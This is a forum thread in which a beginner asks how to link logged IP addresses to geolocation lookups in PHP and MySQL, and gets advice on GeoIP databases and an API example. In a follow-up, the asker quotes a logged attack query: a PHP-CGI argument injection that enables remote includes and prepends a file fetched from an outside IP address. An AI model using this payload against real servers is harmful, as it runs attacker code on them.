Avatar of Bjarte Fjelland
Bjarte FjellandFlag for Norway

asked on 

Mysql column with IP addresses to geo locations

Hi,

I have a column with IP addresses that I want to make active with URL to see where in the World it comes from, GEO location. That I mean is when I run the report it would be easy if I could click on the IP address and a web page displays its location.

Is it possible to do this and if, how?

Thank you.

Fjebja
MySQL ServerPHP

Avatar of undefined
Last Comment
Ray Paseur
Avatar of Tomas Helgi Johannsson
Tomas Helgi Johannsson
Flag of Iceland image

Hi!

If your table as a column with IP addresses, you could download and install into mysql some GeoIP database which you can do some simple join to get the Long/Lat info for that IP address or IP address range which you then present in an web page.

GeoLite is a free GeoIP database available for download
dev.maxmind.com/geoip/legacy/geolite/

and there are many other GeoIP MySQL databases on the web as well as GeoIP lookup services which you could join into your web page if you want to go that way in your web design.

Regards,
     Tomas Helgi
Avatar of Ray Paseur
Ray Paseur
Flag of United States of America image

I have also used geoio.com but only tested it with USA locations.  It worked well, especially when combined with Google Static Maps.  You need to get your own API key for their service, and it is available for free.
Please see http://www.laprbass.com/RAY_geoio_example.php

<?php // RAY_geoio_example.php
error_reporting(E_ALL);


// GET INFORMATION ABOUT YOUR SITE VISITORS LOCATION FROM GEOIO.COM
// MAN PAGE: http://www.iana.org/numbers/


// THIS IS THE URL FOR THE API
$key = 'YOU MUST GET YOUR OWN APIKEY';
$url = "http://api.geoio.com/q.php?key=$key&qt=geoip&d=pipe&q=";

// THIS IS THE CLIENT IP ADDRESS (ALMOST ALWAYS)
$ipa = $_SERVER["REMOTE_ADDR"];
$dat = file_get_contents($url . $ipa);
$inf = explode('|', $dat);

// SHOW WHAT WE GOT
echo "<pre>";
echo PHP_EOL . "CITY: $inf[0] ";
echo PHP_EOL . "STATE: $inf[1] ";
echo PHP_EOL . "COUNTRY: $inf[2] ";
echo PHP_EOL . "CARRIER: $inf[3] ";
echo PHP_EOL . "LAT: $inf[4] ";
echo PHP_EOL . "LON: $inf[5] ";

// SHOW A GOOGLE MAP OF WHAT WE GOT
$lnk = "<a target='_blank' href='http://maps.google.com/maps?f=q&source=s_q&hl=en&q=$inf[4],$inf[5]'>MAP: $inf[4],$inf[5]</a>";
echo PHP_EOL . $lnk;

Open in new window

Avatar of Bjarte Fjelland

ASKER

I found the solution that works for me :o)

Im just 'still' starting to learn PhP and Mysql, but I have a loong way to go.
I borrowed IP tracker script from Solarisedesign to start with and included it into my index.php.

It didn't take long before an unknown IP was accessing my index.php with this query:

-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt

Open in new window

Then a few more came without the query.
I Googled it and that's where I thought of linking the IPs to a Geo location.

I have read and tried some suggestions, but I did not manage to get it to work without many php errors, that I did manage was to add href to the fetch query:

echo "<td><a href='https://ipdb.at/ip/$ip_list'>$ip_list</a>";

Open in new window


Here is the screen shot:
User generated image
But I've made an account at geoio.com when I understand it Ill try using it.

Thanks!
ASKER CERTIFIED SOLUTION
Avatar of Ray Paseur
Ray Paseur
Flag of United States of America image

Blurred text
THIS SOLUTION IS ONLY AVAILABLE TO MEMBERS.
View this solution by signing up for a free trial.
Members can start a 7-Day free trial and enjoy unlimited access to the platform.
See Pricing Options
Start Free Trial
Avatar of Bjarte Fjelland

ASKER

Hi Ray,

I've read the 'By the way I am New to PHP' and ordered the PHP & MYSQL NOVICE TO NINJA, 5th edition, paperback and PDF :o)

Thank you!

Fjebja
Avatar of Ray Paseur
Ray Paseur
Flag of United States of America image

Thanks for the points.  The SitePoint book is pretty good, I'm sure you will both enjoy it and get a lot of value out of it.  Best regards, ~Ray
PHP
PHP

PHP is a widely-used server-side scripting language especially suited for web development, powering tens of millions of sites from Facebook to personal WordPress blogs. PHP is often paired with the MySQL relational database, but includes support for most other mainstream databases. By utilizing different Server APIs, PHP can work on many different web servers as a server-side scripting language.

125K
Questions
--
Followers
--
Top Experts
Get a personalized solution from industry experts
Ask the experts
Read over 600 more reviews

TRUSTED BY

IBM logoIntel logoMicrosoft logoUbisoft logoSAP logo
Qualcomm logoCitrix Systems logoWorkday logoErnst & Young logo
High performer badgeUsers love us badge
LinkedIn logoFacebook logoX logoInstagram logoTikTok logoYouTube logo